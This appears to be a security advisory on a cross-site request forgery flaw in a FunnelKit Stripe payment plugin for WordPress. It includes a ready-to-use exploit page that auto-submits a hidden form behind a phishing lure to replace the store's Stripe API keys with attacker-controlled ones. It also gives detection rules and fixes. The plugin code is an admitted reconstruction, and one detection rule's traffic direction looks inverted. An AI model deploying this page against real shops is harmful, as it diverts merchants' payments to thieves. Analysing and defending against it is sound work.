CVE-2026-57635

Executive Summary

CVE-2026-57635 is an Unauthenticated Cross-Site Request Forgery (CSRF) vulnerability discovered in the FunnelKit Payment Gateway for Stripe WooCommerce plugin for WordPress, affecting versions up to and including 1.14.0.3. This vulnerability allows an attacker to forge requests on behalf of an authenticated administrator without their knowledge or consent. Since the plugin does not implement CSRF tokens or nonces on critical administrative actions, a simple crafted link or form submission can trigger state-changing operations, such as modifying payment gateway settings, disabling security features, or redirecting transactions to attacker-controlled Stripe accounts.

The vulnerability is classified as CSRF (CWE-352) and carries a CVSS v3.1 base score of 6.5 (Medium). The attack vector is network-based, requires no authentication, but does require user interaction (the victim must click a link or visit a malicious page while logged into WordPress). The primary impact is on integrity, as the attacker can alter plugin configuration without direct access to the admin panel.

Given the 0.0% EPSS score, this vulnerability is not currently being actively exploited in the wild, but the lack of a patch makes it a ticking time bomb for unmaintained sites. This report provides a full technical breakdown, detection rules, and mitigation strategies.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem, not in a language-specific package manager (NPM, PyPI, Go, Ruby). However, the plugin is distributed via the official WordPress Plugin Directory and can be installed automatically. The supply chain risk is that site administrators may unknowingly install or update to a vulnerable version. There is no known malicious package injection, but the lack of a patch means the plugin is effectively abandoned from a security standpoint.

CVSS Breakdown & Threat Level

Threat Level: Medium. The attack requires social engineering to trick an admin into clicking a link, but the potential impact on integrity is high. An attacker could reconfigure the Stripe gateway to send payments to their own account, leading to financial theft.

Deep Dive & Mechanics

The FunnelKit Stripe WooCommerce plugin provides a payment gateway for WooCommerce stores. The vulnerability lies in the absence of CSRF nonces on administrative AJAX actions and form submissions. Specifically, the plugin’s settings page and API key management endpoints do not verify the origin of the request.

Attack Flow:

1. An attacker crafts a malicious HTML page or email containing a hidden form that submits a POST request to the vulnerable WordPress admin-ajax.php endpoint.
2. The form includes parameters to change the Stripe API keys (e.g., stripe_publishable_key, stripe_secret_key) to attacker-controlled values.
3. The attacker sends the link to a logged-in WordPress administrator (e.g., via phishing email).
4. The admin clicks the link, and the form auto-submits (via JavaScript or CSS tricks).
5. The plugin processes the request without checking for a CSRF token, updating the Stripe keys.
6. Future transactions are now routed to the attacker’s Stripe account.

Root Cause: The plugin’s admin_init and AJAX handlers lack calls to check_admin_referer() or wp_verify_nonce(). This is a classic omission in WordPress plugin development.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.14.0.3):

// In class-admin.php or similar
add_action('wp_ajax_funnelkit_stripe_save_settings', 'save_settings_callback');
function save_settings_callback() {
    // No nonce verification
    $publishable_key = sanitize_text_field($_POST['stripe_publishable_key']);
    $secret_key = sanitize_text_field($_POST['stripe_secret_key']);
    update_option('funnelkit_stripe_publishable_key', $publishable_key);
    update_option('funnelkit_stripe_secret_key', $secret_key);
    wp_die();
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_funnelkit_stripe_save_settings', 'save_settings_callback');
function save_settings_callback() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'funnelkit_stripe_save_settings')) {
        wp_die('CSRF validation failed.');
    }
    $publishable_key = sanitize_text_field($_POST['stripe_publishable_key']);
    $secret_key = sanitize_text_field($_POST['stripe_secret_key']);
    update_option('funnelkit_stripe_publishable_key', $publishable_key);
    update_option('funnelkit_stripe_secret_key', $secret_key);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with FunnelKit Stripe WooCommerce <= 1.14.0.3 installed and activated.
• An authenticated admin session (the victim must be logged in).

Exploit HTML (csrf_exploit.html):

<!DOCTYPE html>
<html>
<head>
    <title>Click Me</title>
</head>
<body>
    <h1>Please click the link below to verify your account</h1>
    <form id="csrf_form" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
        <input type="hidden" name="action" value="funnelkit_stripe_save_settings">
        <input type="hidden" name="stripe_publishable_key" value="pk_test_attacker_controlled">
        <input type="hidden" name="stripe_secret_key" value="sk_test_attacker_controlled">
        <input type="submit" value="Verify Account">
    </form>
    <script>
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

Steps:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the victim admin via email or social engineering.
3. Once the admin clicks, the form auto-submits, changing the Stripe keys.
4. Verify by checking the plugin settings page.

Blue Team (Detection & Forensics)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=funnelkit_stripe_save_settings from unexpected referrers.
• Check for sudden changes in Stripe API keys in the WordPress options table (funnelkit_stripe_publishable_key, funnelkit_stripe_secret_key).

Forensics:

• Review HTTP access logs for unusual referrer headers (e.g., empty or attacker domain).
• Check WordPress admin activity logs (if plugin installed) for settings changes without corresponding user session.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=funnelkit_stripe_save_settings and no valid _wpnonce parameter.
  • Referrer header pointing to an external domain or empty.
• Host:
  • Modified wp_options entries: funnelkit_stripe_publishable_key and funnelkit_stripe_secret_key containing test or attacker-controlled keys.
  • Unexpected changes in WooCommerce payment gateway settings.
• Logs:
  • WordPress debug log entries showing wp_ajax_funnelkit_stripe_save_settings without a preceding nonce check.

Detection Engineering

YARA Rule

rule CVE_2026_57635_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against FunnelKit Stripe WooCommerce plugin"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-57635"
    strings:
        $ajax_action = "funnelkit_stripe_save_settings"
        $stripe_key = "stripe_publishable_key" nocase
        $stripe_secret = "stripe_secret_key" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-57635 - FunnelKit Stripe CSRF Exploit
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to admin-ajax.php with FunnelKit Stripe settings action without nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=funnelkit_stripe_save_settings'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions if nonce is present (filtered out)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-57635 - FunnelKit Stripe CSRF Exploit Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=funnelkit_stripe_save_settings";
    http_client_body;
    pcre:"/stripe_publishable_key|stripe_secret_key/Ri";
    sid:1000001;
    rev:1;
    metadata:attack_target Web_Server, deployment Perimeter, signature_severity Major, created_at 2026_01_01;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations. Replace with an alternative Stripe gateway plugin that is actively maintained.
2. Apply a virtual patch using a Web Application Firewall (WAF) to block requests to admin-ajax.php with action=funnelkit_stripe_save_settings unless a valid nonce is present.
3. Restrict admin access to trusted IPs only and enforce strong password policies.

Long-Term Fix:

• The vendor must release a patched version (1.14.0.4 or higher) that adds check_admin_referer() or wp_verify_nonce() to all AJAX handlers.
• Until then, manually add the nonce check to the plugin’s code (see patched code example above).

Workaround:

• Use the WordPress wp_nonce_field() function in the plugin’s settings form and verify it on submission.

Valters IT